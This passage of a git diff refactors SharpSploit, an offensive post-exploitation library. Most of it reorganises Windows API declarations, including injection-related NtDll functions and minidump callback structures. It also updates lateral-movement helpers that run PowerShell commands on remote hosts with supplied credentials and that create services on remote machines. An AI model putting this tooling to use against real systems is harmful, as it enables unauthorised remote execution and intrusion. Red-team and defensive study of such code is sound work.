dwStartType, - SERVICE_ERROR dwErrorControl, - string lpBinaryPathName, - string lpLoadOrderGroup, - string lpdwTagId, - string lpDependencies, - string lpServiceStartName, - string lpPassword - ); - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern bool DeleteService( - IntPtr hService - ); - - [DllImport("advapi32.dll", SetLastError = true)] - public static extern bool CloseServiceHandle( - IntPtr hSCObject - ); - - //https://msdn.microsoft.com/en-us/library/windows/desktop/ms682434(v=vs.85).aspx + // https://msdn.microsoft.com/en-us/library/windows/desktop/ms682434(v=vs.85).aspx [Flags] - public enum CREATION_FLAGS + public enum CREATION_FLAGS : uint { - NONE = 0x0, - CREATE_DEFAULT_ERROR_MODE = 0x04000000, + NONE = 0x00000000, + DEBUG_PROCESS = 0x00000001, + DEBUG_ONLY_THIS_PROCESS = 0x00000002, + CREATE_SUSPENDED = 0x00000004, + DETACHED_PROCESS = 0x00000008, CREATE_NEW_CONSOLE = 0x00000010, + NORMAL_PRIORITY_CLASS = 0x00000020, + IDLE_PRIORITY_CLASS = 0x00000040, + HIGH_PRIORITY_CLASS = 0x00000080, + REALTIME_PRIORITY_CLASS = 0x00000100, CREATE_NEW_PROCESS_GROUP = 0x00000200, - CREATE_SEPARATE_WOW_VDM = 0x00000800, - CREATE_SUSPENDED = 0x00000004, CREATE_UNICODE_ENVIRONMENT = 0x00000400, - EXTENDED_STARTUPINFO_PRESENT = 0x00080000 + CREATE_SEPARATE_WOW_VDM = 0x00000800, + CREATE_SHARED_WOW_VDM = 0x00001000, + CREATE_FORCEDOS = 0x00002000, + BELOW_NORMAL_PRIORITY_CLASS = 0x00004000, + ABOVE_NORMAL_PRIORITY_CLASS = 0x00008000, + INHERIT_PARENT_AFFINITY = 0x00010000, + INHERIT_CALLER_PRIORITY = 0x00020000, + CREATE_PROTECTED_PROCESS = 0x00040000, + EXTENDED_STARTUPINFO_PRESENT = 0x00080000, + PROCESS_MODE_BACKGROUND_BEGIN = 0x00100000, + PROCESS_MODE_BACKGROUND_END = 0x00200000, + CREATE_BREAKAWAY_FROM_JOB = 0x01000000, + CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000, + CREATE_DEFAULT_ERROR_MODE = 0x04000000, + CREATE_NO_WINDOW = 0x08000000, + PROFILE_USER = 0x10000000, + PROFILE_KERNEL = 0x20000000, + PROFILE_SERVER = 0x40000000, + CREATE_IGNORE_SYSTEM_DEFAULT = 0x80000000 } [Flags] public enum LOGON_FLAGS { + NONE = 0x00000000, LOGON_WITH_PROFILE = 0x00000001, LOGON_NETCREDENTIALS_ONLY = 0x00000002 } @@ -946,51 +574,63 @@ public enum MINIDUMP_TYPE MiniDumpValidTypeFlags = 0x001fffff } - [DllImport("dbghelp.dll", SetLastError = true)] - public static extern bool MiniDumpWriteDump( - IntPtr hProcess, - UInt32 ProcessId, - SafeHandle hFile, - MINIDUMP_TYPE DumpType, - IntPtr ExceptionParam, - IntPtr UserStreamParam, - IntPtr CallbackParam - ); - } + public enum MINIDUMP_CALLBACK_TYPE : uint + { + ModuleCallback, + ThreadCallback, + ThreadExCallback, + IncludeThreadCallback, + IncludeModuleCallback, + MemoryCallback, + CancelCallback, + WriteKernelMinidumpCallback, + KernelMinidumpStatusCallback, + RemoveMemoryCallback, + IncludeVmRegionCallback, + IoStartCallback, + IoWriteAllCallback, + IoFinishCallback, + ReadMemoryFailureCallback, + SecondaryFlagsCallback, + IsProcessSnapshotCallback, + VmStartCallback, + VmQueryCallback, + VmPreReadCallback, + } - public static class ActiveDs - { - [DllImport("activeds.dll")] - public static extern IntPtr Init( - Int32 lnSetType, - [MarshalAs(UnmanagedType.BStr)] string bstrADsPath - ); - - [DllImport("activeds.dll")] - public static extern IntPtr Set( - Int32 lnSetType, - [MarshalAs(UnmanagedType.BStr)] string bstrADsPath - ); - - [DllImport("activeds.dll")] - public static extern IntPtr Get( - Int32 lnSetType, - [MarshalAs(UnmanagedType.BStr)] ref string pbstrADsPath - ); - - [DllImport("activeds.dll")] - public static extern IntPtr InitEx( - Int32 lnSetType, - [MarshalAs(UnmanagedType.BStr)] string bstrADsPath, - [MarshalAs(UnmanagedType.BStr)] string bstrUserID, - [MarshalAs(UnmanagedType.BStr)] string bstrDomain, - [MarshalAs(UnmanagedType.BStr)] string bstrPassword - ); - - [DllImport("activeds.dll")] - public static extern IntPtr put_ChaseReferral( - Int32 lnChangeReferral - ); + public struct MINIDUMP_CALLBACK_INFORMATION + { + public MINIDUMP_CALLBACK_ROUTINE CallbackRoutine; + public IntPtr CallbackParam; + } + + [StructLayout(LayoutKind.Explicit, Pack = 4)] + public struct MINIDUMP_CALLBACK_OUTPUT + { + [FieldOffset(0)] + public int Status; + } + + [StructLayout(LayoutKind.Explicit)] + public struct MINIDUMP_CALLBACK_INPUT + { + [FieldOffset(0)] + public uint ProcessId; + [FieldOffset(4)] + public IntPtr ProcessHandle; + [FieldOffset(12)] + public MINIDUMP_CALLBACK_TYPE CallbackType; + [FieldOffset(16)] + public int Status; + } + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + [return: MarshalAs(UnmanagedType.Bool)] + public delegate bool MINIDUMP_CALLBACK_ROUTINE( + [In] IntPtr CallbackParam, + [In] ref MINIDUMP_CALLBACK_INPUT CallbackInput, + [In, Out] ref MINIDUMP_CALLBACK_OUTPUT CallbackOutput + ); } public class WinBase @@ -1248,7 +888,7 @@ public enum _TOKEN_INFORMATION_CLASS // http://www.pinvoke.net/default.aspx/Enums.ACCESS_MASK [Flags] - public enum ACCESS_MASK : UInt32 + public enum ACCESS_MASK : uint { DELETE = 0x00010000, READ_CONTROL = 0x00020000, @@ -1298,7 +938,21 @@ public enum ACCESS_MASK : UInt32 public class ProcessThreadsAPI { - //https://msdn.microsoft.com/en-us/library/windows/desktop/ms686331(v=vs.85).aspx + [Flags] + internal enum STARTF : uint + { + STARTF_USESHOWWINDOW = 0x00000001, + STARTF_USESIZE = 0x00000002, + STARTF_USEPOSITION = 0x00000004, + STARTF_USECOUNTCHARS = 0x00000008, + STARTF_USEFILLATTRIBUTE = 0x00000010, + STARTF_RUNFULLSCREEN = 0x00000020, + STARTF_FORCEONFEEDBACK = 0x00000040, + STARTF_FORCEOFFFEEDBACK = 0x00000080, + STARTF_USESTDHANDLES = 0x00000100, + } + + // https://msdn.microsoft.com/en-us/library/windows/desktop/ms686331(v=vs.85).aspx [StructLayout(LayoutKind.Sequential)] public struct _STARTUPINFO { @@ -1390,12 +1044,6 @@ public enum CRED_TYPE : uint public class Secur32 { - [DllImport("Secur32.dll", SetLastError = false)] - public static extern uint LsaGetLogonSessionData( - IntPtr luid, - out IntPtr ppLogonSessionData - ); - public struct _SECURITY_LOGON_SESSION_DATA { public UInt32 Size; @@ -1419,543 +1067,6 @@ public struct _LSA_UNICODE_STRING public UInt16 MaximumLength; public IntPtr Buffer; } - } - - public class NtDll - { - [DllImport("ntdll.dll", SetLastError = true)] - public static extern int NtFilterToken( - IntPtr TokenHandle, - UInt32 Flags, - IntPtr SidsToDisable, - IntPtr PrivilegesToDelete, - IntPtr RestrictedSids, - ref IntPtr hToken - ); - - [DllImport("ntdll.dll", SetLastError = true)] - public static extern Int32 NtSetInformationToken( - IntPtr TokenHandle, - Int32 TokenInformationClass, - ref WinNT._TOKEN_MANDATORY_LABEL TokenInformation, - Int32 TokenInformationLength - ); - - [DllImport("ntdll.dll", SetLastError = true)] - public static extern NTSTATUS NtCreateSection( - ref IntPtr SectionHandle, - uint DesiredAccess, - IntPtr ObjectAttributes, - ref ulong MaximumSize, - uint SectionPageProtection, - uint AllocationAttributes, - IntPtr FileHandle - ); - - [DllImport("ntdll.dll", SetLastError = true)] - public static extern NTSTATUS NtMapViewOfSection( - IntPtr SectionHandle, - IntPtr ProcessHandle, - ref IntPtr BaseAddress, - IntPtr ZeroBits, - IntPtr CommitSize, - IntPtr SectionOffset, - ref uint ViewSize, - uint InheritDisposition, - uint AllocationType, - uint Win32Protect - ); - - [DllImport("ntdll.dll", SetLastError = true)] - public static extern NTSTATUS NtUnmapViewOfSection( - IntPtr hProc, - IntPtr baseAddr - ); - - /// - /// NTCreateThreadEx is an undocumented function. Created by Microsoft to be a universal, cross-session solution - /// for remote thread creation. - /// - /// - /// - /// - /// - /// - /// - /// - /// - /// - /// - /// - /// - [DllImport("ntdll.dll")] - public static extern IntPtr NtCreateThreadEx( - out IntPtr threadHandle, - WinNT.ACCESS_MASK desiredAccess, - IntPtr objectAttributes, - IntPtr processHandle, - IntPtr startAddress, - IntPtr parameter, - bool createSuspended, - int stackZeroBits, - int sizeOfStack, - int maximumStackSize, - IntPtr attributeList - ); - - [DllImport("ntdll.dll", SetLastError = true)] - public static extern int NtQueryInformationProcess( - IntPtr hProcess, - PROCESSINFOCLASS pic, - ref PROCESS_BASIC_INFORMATION pbi, - int cb, - out int pSize - ); - - [StructLayout(LayoutKind.Sequential)] - public struct UNICODE_STRING - { - public UInt16 Length; - public UInt16 MaximumLength; - public IntPtr Buffer; - } - - public struct PROCESS_BASIC_INFORMATION - { - public IntPtr ExitStatus; - public IntPtr PebBaseAddress; - public IntPtr AffinityMask; - public IntPtr BasePriority; - public UIntPtr UniqueProcessId; - public int InheritedFromUniqueProcessId; - - public int Size - { - get { return (int)Marshal.SizeOf(typeof(PROCESS_BASIC_INFORMATION)); } - } - } - - public enum PROCESSINFOCLASS : int - { - ProcessBasicInformation = 0, // 0, q: PROCESS_BASIC_INFORMATION, PROCESS_EXTENDED_BASIC_INFORMATION - ProcessQuotaLimits, // qs: QUOTA_LIMITS, QUOTA_LIMITS_EX - ProcessIoCounters, // q: IO_COUNTERS - ProcessVmCounters, // q: VM_COUNTERS, VM_COUNTERS_EX - ProcessTimes, // q: KERNEL_USER_TIMES - ProcessBasePriority, // s: KPRIORITY - ProcessRaisePriority, // s: ULONG - ProcessDebugPort, // q: HANDLE - ProcessExceptionPort, // s: HANDLE - ProcessAccessToken, // s: PROCESS_ACCESS_TOKEN - ProcessLdtInformation, // 10 - ProcessLdtSize, - ProcessDefaultHardErrorMode, // qs: ULONG - ProcessIoPortHandlers, // (kernel-mode only) - ProcessPooledUsageAndLimits, // q: POOLED_USAGE_AND_LIMITS - ProcessWorkingSetWatch, // q: PROCESS_WS_WATCH_INFORMATION[]; s: void - ProcessUserModeIOPL, - ProcessEnableAlignmentFaultFixup, // s: BOOLEAN - ProcessPriorityClass, // qs: PROCESS_PRIORITY_CLASS - ProcessWx86Information, - ProcessHandleCount, // 20, q: ULONG, PROCESS_HANDLE_INFORMATION - ProcessAffinityMask, // s: KAFFINITY - ProcessPriorityBoost, // qs: ULONG - ProcessDeviceMap, // qs: PROCESS_DEVICEMAP_INFORMATION, PROCESS_DEVICEMAP_INFORMATION_EX - ProcessSessionInformation, // q: PROCESS_SESSION_INFORMATION - ProcessForegroundInformation, // s: PROCESS_FOREGROUND_BACKGROUND - ProcessWow64Information, // q: ULONG_PTR - ProcessImageFileName, // q: UNICODE_STRING - ProcessLUIDDeviceMapsEnabled, // q: ULONG - ProcessBreakOnTermination, // qs: ULONG - ProcessDebugObjectHandle, // 30, q: HANDLE - ProcessDebugFlags, // qs: ULONG - ProcessHandleTracing, // q: PROCESS_HANDLE_TRACING_QUERY; s: size 0 disables, otherwise enables - ProcessIoPriority, // qs: ULONG - ProcessExecuteFlags, // qs: ULONG - ProcessResourceManagement, - ProcessCookie, // q: ULONG - ProcessImageInformation, // q: SECTION_IMAGE_INFORMATION - ProcessCycleTime, // q: PROCESS_CYCLE_TIME_INFORMATION - ProcessPagePriority, // q: ULONG - ProcessInstrumentationCallback, // 40 - ProcessThreadStackAllocation, // s: PROCESS_STACK_ALLOCATION_INFORMATION, PROCESS_STACK_ALLOCATION_INFORMATION_EX - ProcessWorkingSetWatchEx, // q: PROCESS_WS_WATCH_INFORMATION_EX[] - ProcessImageFileNameWin32, // q: UNICODE_STRING - ProcessImageFileMapping, // q: HANDLE (input) - ProcessAffinityUpdateMode, // qs: PROCESS_AFFINITY_UPDATE_MODE - ProcessMemoryAllocationMode, // qs: PROCESS_MEMORY_ALLOCATION_MODE - ProcessGroupInformation, // q: USHORT[] - ProcessTokenVirtualizationEnabled, // s: ULONG - ProcessConsoleHostProcess, // q: ULONG_PTR - ProcessWindowInformation, // 50, q: PROCESS_WINDOW_INFORMATION - ProcessHandleInformation, // q: PROCESS_HANDLE_SNAPSHOT_INFORMATION // since WIN8 - ProcessMitigationPolicy, // s: PROCESS_MITIGATION_POLICY_INFORMATION - ProcessDynamicFunctionTableInformation, - ProcessHandleCheckingMode, - ProcessKeepAliveCount, // q: PROCESS_KEEPALIVE_COUNT_INFORMATION - ProcessRevokeFileHandles, // s: PROCESS_REVOKE_FILE_HANDLES_INFORMATION - MaxProcessInfoClass - }; - - /// - /// NT_CREATION_FLAGS is an undocumented enum. https://processhacker.sourceforge.io/doc/ntpsapi_8h_source.html - /// - public enum NT_CREATION_FLAGS : ulong - { - CREATE_SUSPENDED = 0x00000001, - SKIP_THREAD_ATTACH = 0x00000002, - HIDE_FROM_DEBUGGER = 0x00000004, - HAS_SECURITY_DESCRIPTOR = 0x00000010, - ACCESS_CHECK_IN_TARGET = 0x00000020, - INITIAL_THREAD = 0x00000080 - } - - /// - /// NTSTATUS is an undocument enum. https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55 - /// https://www.pinvoke.net/default.aspx/Enums/NtStatus.html - /// - public enum NTSTATUS : uint - { - // Success - Success = 0x00000000, - Wait0 = 0x00000000, - Wait1 = 0x00000001, - Wait2 = 0x00000002, - Wait3 = 0x00000003, - Wait63 = 0x0000003f, - Abandoned = 0x00000080, - AbandonedWait0 = 0x00000080, - AbandonedWait1 = 0x00000081, - AbandonedWait2 = 0x00000082, - AbandonedWait3 = 0x00000083, - AbandonedWait63 = 0x000000bf, - UserApc = 0x000000c0, - KernelApc = 0x00000100, - Alerted = 0x00000101, - Timeout = 0x00000102, - Pending = 0x00000103, - Reparse = 0x00000104, - MoreEntries = 0x00000105, - NotAllAssigned = 0x00000106, - SomeNotMapped = 0x00000107, - OpLockBreakInProgress = 0x00000108, - VolumeMounted = 0x00000109, - RxActCommitted = 0x0000010a, - NotifyCleanup = 0x0000010b, - NotifyEnumDir = 0x0000010c, - NoQuotasForAccount = 0x0000010d, - PrimaryTransportConnectFailed = 0x0000010e, - PageFaultTransition = 0x00000110, - PageFaultDemandZero = 0x00000111, - PageFaultCopyOnWrite = 0x00000112, - PageFaultGuardPage = 0x00000113, - PageFaultPagingFile = 0x00000114, - CrashDump = 0x00000116, - ReparseObject = 0x00000118, - NothingToTerminate = 0x00000122, - ProcessNotInJob = 0x00000123, - ProcessInJob = 0x00000124, - ProcessCloned = 0x00000129, - FileLockedWithOnlyReaders = 0x0000012a, - FileLockedWithWriters = 0x0000012b, - - // Informational - Informational = 0x40000000, - ObjectNameExists = 0x40000000, - ThreadWasSuspended = 0x40000001, - WorkingSetLimitRange = 0x40000002, - ImageNotAtBase = 0x40000003, - RegistryRecovered = 0x40000009, - - // Warning - Warning = 0x80000000, - GuardPageViolation = 0x80000001, - DatatypeMisalignment = 0x80000002, - Breakpoint = 0x80000003, - SingleStep = 0x80000004, - BufferOverflow = 0x80000005, - NoMoreFiles = 0x80000006, - HandlesClosed = 0x8000000a, - PartialCopy = 0x8000000d, - DeviceBusy = 0x80000011, - InvalidEaName = 0x80000013, - EaListInconsistent = 0x80000014, - NoMoreEntries = 0x8000001a, - LongJump = 0x80000026, - DllMightBeInsecure = 0x8000002b, - - // Error - Error = 0xc0000000, - Unsuccessful = 0xc0000001, - NotImplemented = 0xc0000002, - InvalidInfoClass = 0xc0000003, - InfoLengthMismatch = 0xc0000004, - AccessViolation = 0xc0000005, - InPageError = 0xc0000006, - PagefileQuota = 0xc0000007, - InvalidHandle = 0xc0000008, - BadInitialStack = 0xc0000009, - BadInitialPc = 0xc000000a, - InvalidCid = 0xc000000b, - TimerNotCanceled = 0xc000000c, - InvalidParameter = 0xc000000d, - NoSuchDevice = 0xc000000e, - NoSuchFile = 0xc000000f, - InvalidDeviceRequest = 0xc0000010, - EndOfFile = 0xc0000011, - WrongVolume = 0xc0000012, - NoMediaInDevice = 0xc0000013, - NoMemory = 0xc0000017, - ConflictingAddresses = 0xc0000018, - NotMappedView = 0xc0000019, - UnableToFreeVm = 0xc000001a, - UnableToDeleteSection = 0xc000001b, - IllegalInstruction = 0xc000001d, - AlreadyCommitted = 0xc0000021, - AccessDenied = 0xc0000022, - BufferTooSmall = 0xc0000023, - ObjectTypeMismatch = 0xc0000024, - NonContinuableException = 0xc0000025, - BadStack = 0xc0000028, - NotLocked = 0xc000002a, - NotCommitted = 0xc000002d, - InvalidParameterMix = 0xc0000030, - ObjectNameInvalid = 0xc0000033, - ObjectNameNotFound = 0xc0000034, - ObjectNameCollision = 0xc0000035, - ObjectPathInvalid = 0xc0000039, - ObjectPathNotFound = 0xc000003a, - ObjectPathSyntaxBad = 0xc000003b, - DataOverrun = 0xc000003c, - DataLate = 0xc000003d, - DataError = 0xc000003e, - CrcError = 0xc000003f, - SectionTooBig = 0xc0000040, - PortConnectionRefused = 0xc0000041, - InvalidPortHandle = 0xc0000042, - SharingViolation = 0xc0000043, - QuotaExceeded = 0xc0000044, - InvalidPageProtection = 0xc0000045, - MutantNotOwned = 0xc0000046, - SemaphoreLimitExceeded = 0xc0000047, - PortAlreadySet = 0xc0000048, - SectionNotImage = 0xc0000049, - SuspendCountExceeded = 0xc000004a, - ThreadIsTerminating = 0xc000004b, - BadWorkingSetLimit = 0xc000004c, - IncompatibleFileMap = 0xc000004d, - SectionProtection = 0xc000004e, - EasNotSupported = 0xc000004f, - EaTooLarge = 0xc0000050, - NonExistentEaEntry = 0xc0000051, - NoEasOnFile = 0xc0000052, - EaCorruptError = 0xc0000053, - FileLockConflict = 0xc0000054, - LockNotGranted = 0xc0000055, - DeletePending = 0xc0000056, - CtlFileNotSupported = 0xc0000057, - UnknownRevision = 0xc0000058, - RevisionMismatch = 0xc0000059, - InvalidOwner = 0xc000005a, - InvalidPrimaryGroup = 0xc000005b, - NoImpersonationToken = 0xc000005c, - CantDisableMandatory = 0xc000005d, - NoLogonServers = 0xc000005e, - NoSuchLogonSession = 0xc000005f, - NoSuchPrivilege = 0xc0000060, - PrivilegeNotHeld = 0xc0000061, - InvalidAccountName = 0xc0000062, - UserExists = 0xc0000063, - NoSuchUser = 0xc0000064, - GroupExists = 0xc0000065, - NoSuchGroup = 0xc0000066, - MemberInGroup = 0xc0000067, - MemberNotInGroup = 0xc0000068, - LastAdmin = 0xc0000069, - WrongPassword = 0xc000006a, - IllFormedPassword = 0xc000006b, - PasswordRestriction = 0xc000006c, - LogonFailure = 0xc000006d, - AccountRestriction = 0xc000006e, - InvalidLogonHours = 0xc000006f, - InvalidWorkstation = 0xc0000070, - PasswordExpired = 0xc0000071, - AccountDisabled = 0xc0000072, - NoneMapped = 0xc0000073, - TooManyLuidsRequested = 0xc0000074, - LuidsExhausted = 0xc0000075, - InvalidSubAuthority = 0xc0000076, - InvalidAcl = 0xc0000077, - InvalidSid = 0xc0000078, - InvalidSecurityDescr = 0xc0000079, - ProcedureNotFound = 0xc000007a, - InvalidImageFormat = 0xc000007b, - NoToken = 0xc000007c, - BadInheritanceAcl = 0xc000007d, - RangeNotLocked = 0xc000007e, - DiskFull = 0xc000007f, - ServerDisabled = 0xc0000080, - ServerNotDisabled = 0xc0000081, - TooManyGuidsRequested = 0xc0000082, - GuidsExhausted = 0xc0000083, - InvalidIdAuthority = 0xc0000084, - AgentsExhausted = 0xc0000085, - InvalidVolumeLabel = 0xc0000086, - SectionNotExtended = 0xc0000087, - NotMappedData = 0xc0000088, - ResourceDataNotFound = 0xc0000089, - ResourceTypeNotFound = 0xc000008a, - ResourceNameNotFound = 0xc000008b, - ArrayBoundsExceeded = 0xc000008c, - FloatDenormalOperand = 0xc000008d, - FloatDivideByZero = 0xc000008e, - FloatInexactResult = 0xc000008f, - FloatInvalidOperation = 0xc0000090, - FloatOverflow = 0xc0000091, - FloatStackCheck = 0xc0000092, - FloatUnderflow = 0xc0000093, - IntegerDivideByZero = 0xc0000094, - IntegerOverflow = 0xc0000095, - PrivilegedInstruction = 0xc0000096, - TooManyPagingFiles = 0xc0000097, - FileInvalid = 0xc0000098, - InstanceNotAvailable = 0xc00000ab, - PipeNotAvailable = 0xc00000ac, - InvalidPipeState = 0xc00000ad, - PipeBusy = 0xc00000ae, - IllegalFunction = 0xc00000af, - PipeDisconnected = 0xc00000b0, - PipeClosing = 0xc00000b1, - PipeConnected = 0xc00000b2, - PipeListening = 0xc00000b3, - InvalidReadMode = 0xc00000b4, - IoTimeout = 0xc00000b5, - FileForcedClosed = 0xc00000b6, - ProfilingNotStarted = 0xc00000b7, - ProfilingNotStopped = 0xc00000b8, - NotSameDevice = 0xc00000d4, - FileRenamed = 0xc00000d5, - CantWait = 0xc00000d8, - PipeEmpty = 0xc00000d9, - CantTerminateSelf = 0xc00000db, - InternalError = 0xc00000e5, - InvalidParameter1 = 0xc00000ef, - InvalidParameter2 = 0xc00000f0, - InvalidParameter3 = 0xc00000f1, - InvalidParameter4 = 0xc00000f2, - InvalidParameter5 = 0xc00000f3, - InvalidParameter6 = 0xc00000f4, - InvalidParameter7 = 0xc00000f5, - InvalidParameter8 = 0xc00000f6, - InvalidParameter9 = 0xc00000f7, - InvalidParameter10 = 0xc00000f8, - InvalidParameter11 = 0xc00000f9, - InvalidParameter12 = 0xc00000fa, - MappedFileSizeZero = 0xc000011e, - TooManyOpenedFiles = 0xc000011f, - Cancelled = 0xc0000120, - CannotDelete = 0xc0000121, - InvalidComputerName = 0xc0000122, - FileDeleted = 0xc0000123, - SpecialAccount = 0xc0000124, - SpecialGroup = 0xc0000125, - SpecialUser = 0xc0000126, - MembersPrimaryGroup = 0xc0000127, - FileClosed = 0xc0000128, - TooManyThreads = 0xc0000129, - ThreadNotInProcess = 0xc000012a, - TokenAlreadyInUse = 0xc000012b, - PagefileQuotaExceeded = 0xc000012c, - CommitmentLimit = 0xc000012d, - InvalidImageLeFormat = 0xc000012e, - InvalidImageNotMz = 0xc000012f, - InvalidImageProtect = 0xc0000130, - InvalidImageWin16 = 0xc0000131, - LogonServer = 0xc0000132, - DifferenceAtDc = 0xc0000133, - SynchronizationRequired = 0xc0000134, - DllNotFound = 0xc0000135, - IoPrivilegeFailed = 0xc0000137, - OrdinalNotFound = 0xc0000138, - EntryPointNotFound = 0xc0000139, - ControlCExit = 0xc000013a, - PortNotSet = 0xc0000353, - DebuggerInactive = 0xc0000354, - CallbackBypass = 0xc0000503, - PortClosed = 0xc0000700, - MessageLost = 0xc0000701, - InvalidMessage = 0xc0000702, - RequestCanceled = 0xc0000703, - RecursiveDispatch = 0xc0000704, - LpcReceiveBufferExpected = 0xc0000705, - LpcInvalidConnectionUsage = 0xc0000706, - LpcRequestsNotAllowed = 0xc0000707, - ResourceInUse = 0xc0000708, - ProcessIsProtected = 0xc0000712, - VolumeDirty = 0xc0000806, - FileCheckedOut = 0xc0000901, - CheckOutRequired = 0xc0000902, - BadFileType = 0xc0000903, - FileTooLarge = 0xc0000904, - FormsAuthRequired = 0xc0000905, - VirusInfected = 0xc0000906, - VirusDeleted = 0xc0000907, - TransactionalConflict = 0xc0190001, - InvalidTransaction = 0xc0190002, - TransactionNotActive = 0xc0190003, - TmInitializationFailed = 0xc0190004, - RmNotActive = 0xc0190005, - RmMetadataCorrupt = 0xc0190006, - TransactionNotJoined = 0xc0190007, - DirectoryNotRm = 0xc0190008, - CouldNotResizeLog = 0xc0190009, - TransactionsUnsupportedRemote = 0xc019000a, - LogResizeInvalidSize = 0xc019000b, - RemoteFileVersionMismatch = 0xc019000c, - CrmProtocolAlreadyExists = 0xc019000f, - TransactionPropagationFailed = 0xc0190010, - CrmProtocolNotFound = 0xc0190011, - TransactionSuperiorExists = 0xc0190012, - TransactionRequestNotValid = 0xc0190013, - TransactionNotRequested = 0xc0190014, - TransactionAlreadyAborted = 0xc0190015, - TransactionAlreadyCommitted = 0xc0190016, - TransactionInvalidMarshallBuffer = 0xc0190017, - CurrentTransactionNotValid = 0xc0190018, - LogGrowthFailed = 0xc0190019, - ObjectNoLongerExists = 0xc0190021, - StreamMiniversionNotFound = 0xc0190022, - StreamMiniversionNotValid = 0xc0190023, - MiniversionInaccessibleFromSpecifiedTransaction = 0xc0190024, - CantOpenMiniversionWithModifyIntent = 0xc0190025, - CantCreateMoreStreamMiniversions = 0xc0190026, - HandleNoLongerValid = 0xc0190028, - NoTxfMetadata = 0xc0190029, - LogCorruptionDetected = 0xc0190030, - CantRecoverWithHandleOpen = 0xc0190031, - RmDisconnected = 0xc0190032, - EnlistmentNotSuperior = 0xc0190033, - RecoveryNotNeeded = 0xc0190034, - RmAlreadyStarted = 0xc0190035, - FileIdentityNotPersistent = 0xc0190036, - CantBreakTransactionalDependency = 0xc0190037, - CantCrossRmBoundary = 0xc0190038, - TxfDirNotEmpty = 0xc0190039, - IndoubtTransactionsExist = 0xc019003a, - TmVolatile = 0xc019003b, - RollbackTimerExpired = 0xc019003c, - TxfAttributeCorrupt = 0xc019003d, - EfsNotAllowedInTransaction = 0xc019003e, - TransactionalOpenNotAllowed = 0xc019003f, - TransactedMappingUnsupportedRemote = 0xc0190040, - TxfMetadataAlreadyPresent = 0xc0190041, - TransactionScopeCallbacksNotSet = 0xc0190042, - TransactionRequiredPromotion = 0xc0190043, - CannotExecuteFileInTransaction = 0xc0190044, - TransactionsNotFrozen = 0xc0190045, - - MaximumNtStatus = 0xffffffff - } - } + } } } \ No newline at end of file diff --git a/SharpSploit/LateralMovement/PowerShellRemoting.cs b/SharpSploit/LateralMovement/PowerShellRemoting.cs index a99f17b..2615efb 100644 --- a/SharpSploit/LateralMovement/PowerShellRemoting.cs +++ b/SharpSploit/LateralMovement/PowerShellRemoting.cs @@ -1,6 +1,4 @@ -using System; - -using SharpSploit.Execution; +using SharpSploit.Execution; namespace SharpSploit.LateralMovement { @@ -17,30 +15,27 @@ public class PowerShellRemoting /// Domain for explicit credentials. /// Username for explicit credentials. /// Password for explicit credentials. - /// Bool. True if execution succeeds, false otherwise. + /// String. Results of the PowerShell command. /// Daniel Duggan (@_RastaMouse) /// - /// The return value is a little ambigious as the function won't return as long - /// as the command is still running on the remote target. Also, if execution fails - /// (e.g. because bad creds), it doesn't throw an error and it returns true regardless. + /// The function won't return as long as the command is still running on the remote target. /// - public static bool InvokeCommand(string ComputerName, string Command, string Domain = "", string Username = "", string Password = "") + public static string InvokeCommand(string ComputerName, string Command, string Domain = "", string Username = "", string Password = "") { string command = string.Empty; bool useCredentials = Domain != "" && Username != "" && Password != ""; - if(useCredentials) + if (useCredentials) { - command += $@"$Credential = New-Object System.Management.Automation.PSCredential(""{Domain}\\{Username}"", (ConvertTo-SecureString ""{Password}"" -AsPlainText -Force)); "; + command += $@"$Credential = New-Object System.Management.Automation.PSCredential(""{Domain}\{Username}"", (ConvertTo-SecureString ""{Password}"" -AsPlainText -Force)); "; } command += $@"Invoke-Command -ComputerName {ComputerName} -ScriptBlock {{ {Command} }}"; if (useCredentials) { command += $" -Credential $Credential"; } - - Shell.PowerShellExecute(command, false); - return true; + + return Shell.PowerShellExecute(command); } } } \ No newline at end of file diff --git a/SharpSploit/LateralMovement/SCM.cs b/SharpSploit/LateralMovement/SCM.cs index b80b6d6..b5d5d8f 100644 --- a/SharpSploit/LateralMovement/SCM.cs +++ b/SharpSploit/LateralMovement/SCM.cs @@ -11,6 +11,7 @@ using SharpSploit.Generic; using SharpSploit.Execution; +using PInvoke = SharpSploit.Execution.PlatformInvoke; namespace SharpSploit.LateralMovement { @@ -87,7 +88,7 @@ public static bool CreateService(string ComputerName, string ServiceName, string { bool success = false; IntPtr hManager = OpenServiceManager(ComputerName); - IntPtr hService = Win32.Advapi32.CreateService(hManager, ServiceName, ServiceDisplayName, + IntPtr hService = PInvoke.Win32.Advapi32.CreateService(hManager, ServiceName, ServiceDisplayName, Win32.Advapi32.SERVICE_ACCESS.SERVICE_ALL_ACCESS, Win32.Advapi32.SERVICE_TYPE.SERVICE_WIN32_OWN_PROCESS, Win32.Advapi32.SERVICE_START.SERVICE_DEMAND_START, @@ -184,8 +185,8 @@ public static bool DeleteService(string ComputerName, string ServiceName) try { IntPtr hManager = OpenServiceManager(ComputerName); - IntPtr hService = Win32.Advapi32.OpenService(hManager, ServiceName, Win32.Advapi32.SERVICE_ACCESS.DELETE); - success = Win32.Advapi32.DeleteService(hService); + IntPtr hService = PInvoke.Win32.Advapi32.OpenService(hManager, ServiceName, Win32.Advapi32.SERVICE_ACCESS.DELETE); + success = PInvoke.Win32.Advapi32.DeleteService(hService); CloseHandle(hService); CloseHandle(hManager); } @@ -278,7 +279,7 @@ private static bool CloseHandle(IntPtr handle) var success = false; try { - success = Win32.Advapi32.CloseServiceHandle(handle); + success = PInvoke.Win32.Advapi32.CloseServiceHandle(handle); } catch (Exception e) { @@ -298,7 +299,7 @@ private static IntPtr OpenServiceManager(string ComputerName) var handle = IntPtr.Zero; try { - handle = Win32.Advapi32.OpenSCManager(ComputerName, null, Win32.Advapi32.SCM_ACCESS.SC_MANAGER_CREATE_SERVICE); + handle = PInvoke.Win32.Advapi32.OpenSCManager(ComputerName, null, Win32.Advapi32.SCM_ACCESS.SC_MANAGER_CREATE_SERVICE); } catch (Exception e) { diff --git a/SharpSploit/LateralMovement/WMI.cs b/SharpSploit/LateralMovement/WMI.cs index bc83045..5a73a27 100644 --- a/SharpSploit/LateralMovement/WMI.cs +++ b/SharpSploit/LateralMovement/WMI.cs @@ -7,6 +7,8 @@ using System.Management; using 